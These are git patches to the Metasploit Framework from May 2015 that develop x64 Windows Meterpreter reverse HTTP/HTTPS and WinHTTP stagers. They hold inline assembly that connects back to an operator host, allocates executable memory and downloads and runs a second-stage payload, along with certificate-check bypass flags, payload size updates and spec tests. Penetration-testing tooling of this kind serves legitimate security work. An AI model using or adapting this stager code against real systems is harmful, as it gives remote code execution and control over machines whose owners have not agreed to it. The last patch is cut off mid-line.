sizes, and powershell include --- .../cmd/windows/powershell_reverse_tcp.rb | 1 + .../stagers/windows/x64/reverse_winhttps.rb | 2 +- spec/modules/payloads_spec.rb | 22 +++++++++++++++++++ 3 files changed, 24 insertions(+), 1 deletion(-) diff --git a/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb b/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb index f5a4b0b2bf..3b2fff4fb7 100644 --- a/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb +++ b/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb @@ -4,6 +4,7 @@ ## require 'msf/core' +require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/powershell' module Metasploit3 diff --git a/modules/payloads/stagers/windows/x64/reverse_winhttps.rb b/modules/payloads/stagers/windows/x64/reverse_winhttps.rb index c702195c6b..cdfd94cfd5 100644 --- a/modules/payloads/stagers/windows/x64/reverse_winhttps.rb +++ b/modules/payloads/stagers/windows/x64/reverse_winhttps.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_winhttps' module Metasploit4 - CachedSize = 347 + CachedSize = 537 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 48466bd731..ff5031320f 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -3590,6 +3590,28 @@ describe 'modules/payloads', :content do reference_name: 'windows/x64/meterpreter/reverse_tcp' end + context 'windows/x64/meterpreter/reverse_winhttp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/x64/reverse_winhttp', + 'stages/windows/x64/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/x64/meterpreter/reverse_winhttp' + end + + context 'windows/x64/meterpreter/reverse_winhttps' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/x64/reverse_winhttps', + 'stages/windows/x64/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/x64/meterpreter/reverse_winhttps' + end + context 'windows/x64/meterpreter_bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ From 68eadd9f514d76cc8ae9a42330e0f667731dbdc5 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 11 May 2015 21:38:26 +1000 Subject: [PATCH 13/27] More work on reverse_winhttps --- .../payload/windows/x64/reverse_winhttp.rb | 65 ++++++++++--------- 1 file changed, 35 insertions(+), 30 deletions(-) diff --git a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb index 5dc6e03db8..331507b327 100644 --- a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb @@ -2,6 +2,7 @@ require 'msf/core' require 'msf/core/payload/windows/x64/reverse_winhttp' +require 'rex/payloads/meterpreter/config' module Msf @@ -141,22 +142,15 @@ module Payload::Windows::ReverseWinHttp_x64 proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user]) proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass]) - http_open_flags = 0 - secure_flags = 0 + http_open_flags = 0x00000100 # WINHTTP_FLAG_BYPASS_PROXY_CACHE + secure_flags = ( + 0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID + 0x00001000 | # SECURITY_FLAG_IGNORE_CERT_CN_INVALID + 0x00000200 | # SECURITY_FLAG_IGNORE_WRONG_USAGE + 0x00000100 ) # SECURITY_FLAG_IGNORE_UNKNOWN_CA if opts[:ssl] - http_open_flags = ( - 0x00800000 | # WINHTTP_FLAG_SECURE - 0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE - - secure_flags = ( - 0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID - 0x00001000 | # SECURITY_FLAG_IGNORE_CERT_CN_INVALID - 0x00000200 | # SECURITY_FLAG_IGNORE_WRONG_USAGE - 0x00000100 ) # SECURITY_FLAG_IGNORE_UNKNOWN_CA - else - http_open_flags = ( - 0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE + http_open_flags |= 0x00800000 # WINHTTP_FLAG_SECURE end asm = %Q^ @@ -210,8 +204,8 @@ module Payload::Windows::ReverseWinHttp_x64 asm << %Q^ xor r9, r9 ; NULL (lpszProxyBypass) - mov rcx, rsp ; Pointer to empty string ("") push rbx ; 0 for alignment + mov rcx, rsp ; Pointer to empty string ("") push rbx ; NULL (lpszProxyBypass) push rbx ; 0 (dwFlags) push rbx ; 0 for alignment @@ -228,8 +222,6 @@ module Payload::Windows::ReverseWinHttp_x64 ; r9 should still be 0 after the previous call, so we don't need ; to clear it again xor r9, r9 ; 0 (dwReserved) - push rbx ; 0 for alignment - push rbx ; 0 for alignment mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpConnect')} call rbp @@ -238,9 +230,8 @@ module Payload::Windows::ReverseWinHttp_x64 db #{encoded_url} get_server_uri: pop r8 ; Stack pointer (pwszObjectName) - ; r9 should still be 0 after the previous call, so we don't need - ; to clear it again - ;xor r9, r9 ; NULL (pwszVersion) + xor r9, r9 ; NULL (pwszVersion) + push rbx ; 0 for alignment ; the push/pop sequence saves a byte over XOR push rbx ; push 0 pop rdx ; NULL (pwszVerb - defaults to GET) @@ -248,7 +239,6 @@ module Payload::Windows::ReverseWinHttp_x64 push 0x#{http_open_flags.to_s(16)} ; (dwFlags) push rbx ; NULL (ppwszAcceptTypes) push rbx ; NULL (pwszReferer) - push rbx ; 0 for alignment mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpenRequest')} call rbp xchg rsi, rax ; save HttpRequest handle in rsi @@ -302,10 +292,14 @@ module Payload::Windows::ReverseWinHttp_x64 push 4 pop r9 ; 4 (dwBufferLength) push rbx ; 0 for alignment + push rbx ; 0 for alignment mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} call rbp test eax, eax ; use eax, it's 1 byte less than rax jz failure + ; more alignment require as a result of this call. I have no idea why. + push rbx ; 0 for alignment + push rbx ; 0 for alignment ^ end @@ -327,7 +321,16 @@ module Payload::Windows::ReverseWinHttp_x64 push rbx ; push 0 (dwContext) push rbx ; push 0 (dwTotalLength) push rbx ; push 0 (dwOptionalLength) + ^ + + # required extra alignment for non-ssl payloads. Still don't know why. + unless opts[:ssl] + asm << %Q^ push rbx ; 0 for alignment + ^ + end + + asm << %Q^ mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSendRequest')} call rbp test eax, eax ; use eax, it's 1 byte less than rax @@ -369,24 +372,25 @@ module Payload::Windows::ReverseWinHttp_x64 ; worry about adding something to the stack to have space for the cert pointer, ; so we won't worry about doing it, it'll save us bytes! mov r8, rsp ; Stack pointer (lpBuffer) + mov r14, r8 ; Back the stack pointer up for later use push 8 ; One whole pointer mov r9, rsp ; Stack pointer (lpdwBufferLength) push rbx ; 0 for alignment - push rbx ; 0 for alignment mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpQueryOption')} call rbp test eax, eax ; use eax instead of rax, saves a byte jz failure ; Bail out if we couldn't get the certificate context ssl_cert_get_server_hash: - mov rcx, [r9] ; Cert context pointer (pCertContext) - push 20 ; length of the sha1 hash + mov rcx, [r14] ; Cert context pointer (pCertContext) + push 32 ; sha1 length, rounded to multiple of 16 mov r9, rsp ; Address of length (pcbData) + mov r15, rsp ; Backup address of length sub rsp, [r9] ; Allocate 20 bytes for the hash output mov r8, rsp ; 20 byte buffer (pvData) + mov r14, r8 ; Back the stack pointer up for later use push 3 pop rdx ; CERT_SHA1_HASH_PROP_ID (dwPropId) - ; TODO: cater for alignment? mov r10, #{Rex::Text.block_api_hash('crypt32.dll', 'CertGetCertificateContextProperty')} call rbp test eax, eax ; use eax instead of rax, saves a byte @@ -397,11 +401,13 @@ module Payload::Windows::ReverseWinHttp_x64 db #{encoded_cert_hash} ssl_cert_compare_hashes: - pop rsi ; get the expected hash - mov rdi, r8 ; pointer to the retrieved hash - mov rcx, [r9] ; number of bytes to compare + pop rax ; get the expected hash + xchg rax, rsi ; swap hash and handle for now + mov rdi, r14 ; pointer to the retrieved hash + mov rcx, [r15] ; number of bytes to compare repe cmpsb ; do the hash comparison jnz failure ; Bail out if the result isn't zero + xchg rax, rsi ; swap hash and handle back! ; Our certificate hash was valid, hurray! ^ @@ -429,7 +435,6 @@ module Payload::Windows::ReverseWinHttp_x64 mov r8, 0x1000 ; MEM_COMMIT (flAllocationType) push 0x40 ; PAGE_EXECUTE_READWRITE pop r9 ; (flProtect) - ; TODO: cater for alignment? mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} call rbp ; Call VirtualAlloc(...); @@ -446,7 +451,7 @@ module Payload::Windows::ReverseWinHttp_x64 mov r9, rdi ; Size received (lpNumberOfBytesRead) mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReadData')} call rbp - add rsp, 32 ; clean up reserved space + add rsp, 32 ; clean up reserved space test eax, eax ; use eax instead of rax, saves a byte jz failure From e99d885b6b3b64e10fef971d0609ba8a7d6035cd Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 11 May 2015 22:21:22 +1000 Subject: [PATCH 14/27] Final work on reverse_winhttps --- lib/msf/core/payload/windows/x64/reverse_winhttp.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb index 331507b327..9ae96d6d13 100644 --- a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb @@ -383,7 +383,7 @@ module Payload::Windows::ReverseWinHttp_x64 ssl_cert_get_server_hash: mov rcx, [r14] ; Cert context pointer (pCertContext) - push 32 ; sha1 length, rounded to multiple of 16 + push 24 ; sha1 length, rounded to multiple of 8 mov r9, rsp ; Address of length (pcbData) mov r15, rsp ; Backup address of length sub rsp, [r9] ; Allocate 20 bytes for the hash output @@ -402,12 +402,12 @@ module Payload::Windows::ReverseWinHttp_x64 ssl_cert_compare_hashes: pop rax ; get the expected hash - xchg rax, rsi ; swap hash and handle for now + xchg rax, rsi ; swap hash and handle for now mov rdi, r14 ; pointer to the retrieved hash mov rcx, [r15] ; number of bytes to compare repe cmpsb ; do the hash comparison jnz failure ; Bail out if the result isn't zero - xchg rax, rsi ; swap hash and handle back! + xchg rax, rsi ; swap hash and handle back! ; Our certificate hash was valid, hurray! ^ From 6fdf23ad98c3267fbb87035430506270f80649a4 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 11 May 2015 22:33:45 +1000 Subject: [PATCH 15/27] Update payload sizes again --- modules/payloads/stagers/windows/x64/reverse_winhttp.rb | 2 +- modules/payloads/stagers/windows/x64/reverse_winhttps.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/payloads/stagers/windows/x64/reverse_winhttp.rb b/modules/payloads/stagers/windows/x64/reverse_winhttp.rb index d600a9e4d1..9aea848c80 100644 --- a/modules/payloads/stagers/windows/x64/reverse_winhttp.rb +++ b/modules/payloads/stagers/windows/x64/reverse_winhttp.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_winhttp' module Metasploit4 - CachedSize = 502 + CachedSize = 503 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/x64/reverse_winhttps.rb b/modules/payloads/stagers/windows/x64/reverse_winhttps.rb index cdfd94cfd5..bdccdf5ef1 100644 --- a/modules/payloads/stagers/windows/x64/reverse_winhttps.rb +++ b/modules/payloads/stagers/windows/x64/reverse_winhttps.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_winhttps' module Metasploit4 - CachedSize = 537 + CachedSize = 540 include Msf::Payload::Stager include Msf::Payload::Windows From 849f904711be5287e883e57a9b431775f74799d0 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 12 May 2015 09:48:50 +1000 Subject: [PATCH 16/27] Finalise style changes as per suggestions in PR --- lib/msf/core/payload/windows/reverse_http.rb | 10 +++++----- lib/msf/core/payload/windows/reverse_https.rb | 2 +- lib/msf/core/payload/windows/reverse_winhttp.rb | 10 +++++----- lib/msf/core/payload/windows/x64/reverse_http.rb | 10 +++++----- lib/msf/core/payload/windows/x64/reverse_https.rb | 2 +- lib/msf/core/payload/windows/x64/reverse_winhttp.rb | 10 +++++----- lib/msf/core/payload/windows/x64/reverse_winhttps.rb | 8 ++++---- 7 files changed, 26 insertions(+), 26 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index d939365a16..921e787083 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -43,11 +43,11 @@ module Payload::Windows::ReverseHttp # def generate(opts={}) conf = { - :ssl => opts[:ssl] || false, - :host => datastore['LHOST'], - :port => datastore['LPORT'], - :url => generate_small_uri, - :retry_count => datastore['StagerRetryCount'] + ssl: opts[:ssl] || false, + host: datastore['LHOST'], + port: datastore['LPORT'], + url: generate_small_uri, + retry_count: datastore['StagerRetryCount'] } # Add extra options if we have enough space diff --git a/lib/msf/core/payload/windows/reverse_https.rb b/lib/msf/core/payload/windows/reverse_https.rb index d1370e1e61..1e59042e5d 100644 --- a/lib/msf/core/payload/windows/reverse_https.rb +++ b/lib/msf/core/payload/windows/reverse_https.rb @@ -19,7 +19,7 @@ module Payload::Windows::ReverseHttps # Generate the first stage # def generate - super({ :ssl => true }) + super(ssl: true) end # diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index 7ece000135..ba3496a166 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -24,11 +24,11 @@ module Payload::Windows::ReverseWinHttp # def generate(opts={}) conf = { - :ssl => opts[:ssl] || false, - :host => datastore['LHOST'], - :port => datastore['LPORT'], - :url => generate_small_uri, - :retry_count => datastore['StagerRetryCount'] + ssl: opts[:ssl] || false, + host: datastore['LHOST'], + port: datastore['LPORT'], + url: generate_small_uri, + retry_count: datastore['StagerRetryCount'] } # Add extra options if we have enough space diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index 890ae050b7..bdbc2cc8e3 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -47,11 +47,11 @@ module Payload::Windows::ReverseHttp_x64 # def generate(opts={}) conf = { - :ssl => opts[:ssl] || false, - :host => datastore['LHOST'], - :port => datastore['LPORT'], - :url => generate_small_uri, - :retry_count => datastore['StagerRetryCount'] + ssl: opts[:ssl] || false, + host: datastore['LHOST'], + port: datastore['LPORT'], + url: generate_small_uri, + retry_count: datastore['StagerRetryCount'] } # add extended options if we do have enough space diff --git a/lib/msf/core/payload/windows/x64/reverse_https.rb b/lib/msf/core/payload/windows/x64/reverse_https.rb index b0be1b48c7..b8c5252ff8 100644 --- a/lib/msf/core/payload/windows/x64/reverse_https.rb +++ b/lib/msf/core/payload/windows/x64/reverse_https.rb @@ -24,7 +24,7 @@ module Payload::Windows::ReverseHttps_x64 # Generate the first stage # def generate - super({:ssl => true}) + super(ssl: true) end end diff --git a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb index 9ae96d6d13..31776605c4 100644 --- a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb @@ -21,11 +21,11 @@ module Payload::Windows::ReverseWinHttp_x64 # def generate(opts={}) conf = { - :ssl => opts[:ssl] || false, - :host => datastore['LHOST'], - :port => datastore['LPORT'], - :url => generate_small_uri, - :retry_count => datastore['StagerRetryCount'] + ssl: opts[:ssl] || false, + host: datastore['LHOST'], + port: datastore['LPORT'], + url: generate_small_uri, + retry_count: datastore['StagerRetryCount'] } # Add extra options if we have enough space diff --git a/lib/msf/core/payload/windows/x64/reverse_winhttps.rb b/lib/msf/core/payload/windows/x64/reverse_winhttps.rb index 59d32fb0c7..05d335bc9d 100644 --- a/lib/msf/core/payload/windows/x64/reverse_winhttps.rb +++ b/lib/msf/core/payload/windows/x64/reverse_winhttps.rb @@ -37,10 +37,10 @@ module Payload::Windows::ReverseWinHttps_x64 verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], datastore['HandlerSSLCert']) - super({ - :ssl => true, - :verify_cert_hash => verify_cert_hash - }) + super( + ssl: true, + verify_cert_hash: verify_cert_hash + ) end def transport_config(opts={}) From 489afd5aa1be5c9726182de0d1b188f82cff0dc5 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 12 May 2015 09:50:58 +1000 Subject: [PATCH 17/27] Remove redundant check for ascii_str setting --- lib/rex/payloads/meterpreter/config.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index ede3250504..07b91ed727 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -18,7 +18,7 @@ class Rex::Payloads::Meterpreter::Config def initialize(opts={}) @opts = opts - if opts[:ascii_str] && opts[:ascii_str] == true + if opts[:ascii_str] == true @to_str = self.method(:to_ascii) else @to_str = self.method(:to_wchar_t) From 51e6c13bc46d0b8bc5248cb775f02aa4850be107 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 12 May 2015 09:54:08 +1000 Subject: [PATCH 18/27] Adjust transport configuration include for x64/reverse_http Not sure how I missed this, but I did! --- lib/msf/core/payload/windows/x64/reverse_http.rb | 4 ++-- modules/payloads/stagers/windows/x64/bind_tcp.rb | 1 - modules/payloads/stagers/windows/x64/reverse_tcp.rb | 1 - modules/payloads/stagers/windows/x64/reverse_winhttp.rb | 1 + 4 files changed, 3 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index bdbc2cc8e3..0143530931 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- require 'msf/core' -require 'msf/core/transport_config' +require 'msf/core/payload/transport_config' require 'msf/core/payload/windows/x64/block_api' require 'msf/core/payload/windows/x64/exitfunk' require 'msf/core/payload/uuid_options' @@ -16,7 +16,7 @@ module Msf module Payload::Windows::ReverseHttp_x64 - include Msf::TransportConfig + include Msf::Payload::TransportConfig include Msf::Payload::Windows include Msf::Payload::Windows::BlockApi_x64 include Msf::Payload::Windows::Exitfunk_x64 diff --git a/modules/payloads/stagers/windows/x64/bind_tcp.rb b/modules/payloads/stagers/windows/x64/bind_tcp.rb index cb58caff16..b7dec4b64c 100644 --- a/modules/payloads/stagers/windows/x64/bind_tcp.rb +++ b/modules/payloads/stagers/windows/x64/bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/windows/x64/bind_tcp' diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp.rb b/modules/payloads/stagers/windows/x64/reverse_tcp.rb index ebd38390e4..75f7f197b5 100644 --- a/modules/payloads/stagers/windows/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/windows/x64/reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/windows/x64/reverse_tcp' diff --git a/modules/payloads/stagers/windows/x64/reverse_winhttp.rb b/modules/payloads/stagers/windows/x64/reverse_winhttp.rb index 9aea848c80..e02eeb25ee 100644 --- a/modules/payloads/stagers/windows/x64/reverse_winhttp.rb +++ b/modules/payloads/stagers/windows/x64/reverse_winhttp.rb @@ -31,4 +31,5 @@ module Metasploit4 'Convention' => 'sockrdi http', 'Stager' => { 'Payload' => '' })) end + end From 677acb22a4e29b8a9e807b45180593307d582947 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 18 May 2015 14:59:49 +1000 Subject: [PATCH 19/27] Fix up module include in x64 winhttp --- lib/msf/core/payload/windows/x64/reverse_winhttp.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb index 31776605c4..25c6843c58 100644 --- a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- require 'msf/core' -require 'msf/core/payload/windows/x64/reverse_winhttp' +require 'msf/core/payload/windows/x64/reverse_http' require 'rex/payloads/meterpreter/config' module Msf From 62720ab3572bd778bf9929c1689de9d32fc2b6fb Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 19 May 2015 18:41:22 +1000 Subject: [PATCH 20/27] Fix the wininet stager for http/s For some reason this was only working on Windows7/2008, yet when tired on Windows 2012 it was resulting in crashes. It was also stopping working in exploits such as psexec_psh. Went back to the beginning and started again. With this in place, we can now do a bit of shellcode golf to make it a bit smaller. Adjusted payload sizes as well. --- .../core/payload/windows/x64/reverse_http.rb | 270 ++++++++---------- .../stagers/windows/x64/reverse_http.rb | 2 +- .../stagers/windows/x64/reverse_https.rb | 2 +- 3 files changed, 127 insertions(+), 147 deletions(-) diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index 0143530931..0ff130ab3c 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -73,12 +73,12 @@ module Payload::Windows::ReverseHttp_x64 # def generate_reverse_http(opts={}) combined_asm = %Q^ - cld ; Clear the direction flag. - and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned - call start ; Call start, this pushes the address of 'api_call' onto the stack. + cld ; Clear the direction flag. + and rsp, ~0xf ; Ensure RSP is 16 byte aligned + call start ; Call start, this pushes the address of 'api_call' onto the stack. #{asm_block_api} start: - pop rbp + pop rbp ; rbp now contains the block API pointer #{asm_reverse_http(opts)} ^ Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string @@ -198,190 +198,166 @@ module Payload::Windows::ReverseHttp_x64 end asm = %Q^ - xor rbx, rbx - load_wininet: - push rbx + push 0 ; stack alignment mov r14, 'wininet' push r14 ; Push 'wininet',0 onto the stack mov r14, rsp ; Save pointer to string mov rcx, r14 ; the name of the lib to load - mov r10, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} call rbp internetopen: + push 0 ; stack alignment + push 0 ; NULL pointer + mov rcx, rsp ; lpszAgent ("") ^ if proxy_enabled asm << %Q^ - call get_proxy_server - db "#{proxy_info}", 0x00 - get_proxy_server: - pop r8 ; stack pointer (lpszProxyName) - push 3 ; INTERNET_OPEN_TYPE_PROXY = 3 (dwAccessType) - pop rdx + push 3 + pop rdx ; dwAccessType (3=INTERNET_OPEN_TYPE_PROXY) + call load_proxy_name + db "#{proxy_info}",0x0 ; proxy information + load_proxy_name: + pop r8 ; lpszProxyName (stack pointer) ^ else asm << %Q^ - xor r8, r8 ; NULL pointer (lpszProxyName) - ; the push/pop sequence saves a byte over XOR - push rbx - pop rdx ; PRECONFIG = 0 (dwAccessType) + xor rdx, rdx ; dwAccessType (0=INTERNET_OPEN_TYPE_PRECONFIG) + xor r8, r8 ; lpszProxyName (NULL) ^ end asm << %Q^ - push rbx ; 0 for alignment - push rbx ; 0 for alignment - xor r9, r9 ; NULL pointer (lpszProxyBypass) - mov rcx, rsp ; Empty string pointer (lpszAgent) - push rbx ; 0 (dwFlags) - push rbx ; 0 for alignment - mov r10, 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) + xor r9, r9 ; lpszProxyBypass (NULL) + push rax ; stack alignment + push 0 ; dwFlags (0) + mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')} call rbp - ^ - asm << %Q^ - call internetconnect ; puts proxy host pointer on stack - get_server_host: - db "#{opts[:host]}", 0x00 + jmp dbl_get_server_host internetconnect: - pop rdx ; contains proxy host pointer - mov rcx, rax ; HINTERNET (hInternet) - mov r8, #{opts[:port]} ; - xor r9, r9 ; String (lpszUsername) - push rbx ; NULL (dwContext) - push rbx ; 0 (dwFlags) - push 3 ; INTERNET_SERVICE_HTTP (dwService) - push rbx ; 0 for alignment - mov r10, 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) + pop rdx ; lpszServerName + mov rcx, rax ; hInternet + mov r8, #{opts[:port]} ; nServerPort + xor r9, r9 ; lpszUsername (NULL) + push r9 ; dwContent (0) + push r9 ; dwFlags (0) + push 3 ; dwService (3=INTERNET_SERVICE_HTTP) + push r9 ; lpszPassword (NULL) + mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')} call rbp ^ - if proxy_enabled - # only store connection handle if something is set! - if proxy_user || proxy_pass - asm << %Q^ + if proxy_enabled && (proxy_user || proxy_pass) + asm << %Q^ mov rsi, rax ; Store hConnection in rsi - ^ - end + ^ if proxy_user asm << %Q^ - call internetsetoption_proxy_user ; puts proxy_user pointer on stack - get_proxy_user: + call load_proxy_user ; puts proxy_user pointer on stack db "#{proxy_user}", 0x00 - internetsetoption_proxy_user: - pop r8 ; contains proxy_user pointer - mov rcx, rsi ; (hConnection) - push 43 ; INTERNET_OPTION_PROXY_USERNAME + load_proxy_user: + pop r8 ; lpBuffer (stack pointer) + mov rcx, rsi ; hConnection (connection handle) + push 43 ; (43=INTERNET_OPTION_PROXY_USERNAME) pop rdx - push #{proxy_user.length} ; proxy_user length + push #{proxy_user.length} ; dwBufferLength (proxy_user length) pop r9 - mov r10, 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) - ; TODO: Without these pushes, things crashed. Not sure why. - push rbx ; 0 for alignment - push rbx ; 0 for alignment + mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')} call rbp ^ end if proxy_pass asm << %Q^ - call internetsetoption_proxy_pass ; puts proxy_pass pointer on stack - get_proxy_pass: + call load_proxy_pass ; puts proxy_pass pointer on stack db "#{proxy_pass}", 0x00 - internetsetoption_proxy_pass: - pop r8 ; contains proxy_pass pointer - mov rcx, rsi ; (hConnection) - push 44 ; INTERNET_OPTION_PROXY_PASSWORD + load_proxy_pass: + pop r8 ; lpBuffer (stack pointer) + mov rcx, rsi ; hConnection (connection handle) + push 44 ; (43=INTERNET_OPTION_PROXY_PASSWORD) pop rdx - push #{proxy_pass.length} ; proxy_pass length + push #{proxy_pass.length} ; dwBufferLength (proxy_pass length) pop r9 - mov r10, 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) - ; TODO: Without these pushes, things crashed. Not sure why. - push rbx ; 0 for alignment - push rbx ; 0 for alignment + mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')} call rbp ^ end - if proxy_user || proxy_pass - asm << %Q^ + asm << %Q^ mov rax, rsi ; Restore hConnection in rax - ^ - end + ^ end asm << %Q^ - call httpopenrequest - get_server_uri: - db "#{opts[:url]}",0x00 + + jmp get_server_uri httpopenrequest: - pop r8 ; String (lpszObjectName) - mov rcx, rax ; HINTERNET (hConnect) - ; the push/pop sequence saves a byte over XOR - push rbx - pop rdx ; NULL pointer (lpszVerb) - xor r9, r9 ; String (lpszVersion) - push rbx ; 0 (dwContext) - ; TODO: figure out what's going on here (get help from HD?) - ; Having to use mov + push instead of push qword because - ; Metasm doesn't seem to like it. Plain 'push' doesn't work - ; because of an overflow error. - ;push qword 0x#{http_open_flags.to_s(16)} ; (dwFlags) - mov r10, 0x#{http_open_flags.to_s(16)} ; (dwFlags) + mov rcx, rax ; hConnect + xor rdx, rdx ; lpszVerb (NULL=GET) + pop r8 ; lpszObjectName (URI) + xor r9, r9 ; lpszVersion (NULL) + push rdx ; dwContext (0) + mov r10, #{"0x%.8x" % http_open_flags} ; dwFlags push r10 - push rbx ; NULL pointer (lplpszAcceptTypes) - push rbx ; NULL pointer (lpszReferer) - mov r10, 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) + push rdx ; lplpszAcceptType (NULL) + push rdx ; lpszReferer (NULL) + mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')} call rbp - mov rsi, rax ; Store the request handle in RSI - retry_setup: + prepare: + mov rsi, rax push #{retry_count} pop rdi - retry: - ^ + retryrequest: + ^ if opts[:ssl] asm << %Q^ - internetsetoption_ssl: - mov rcx, rsi ; (hInternet) - push 31 ; INTERNET_OPTION_SECURITY_FLAGS - pop rdx - push rbx ; 0 for alignment - push #{set_option_flags} ; (dwFlags) - mov r8, rsp - push 4 ; sizeof(dwFlags) - pop r9 - mov r10, 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) + internetsetoption: + mov rcx, rsi ; hInternet (request handle) + mov rdx, 31 ; dwOption 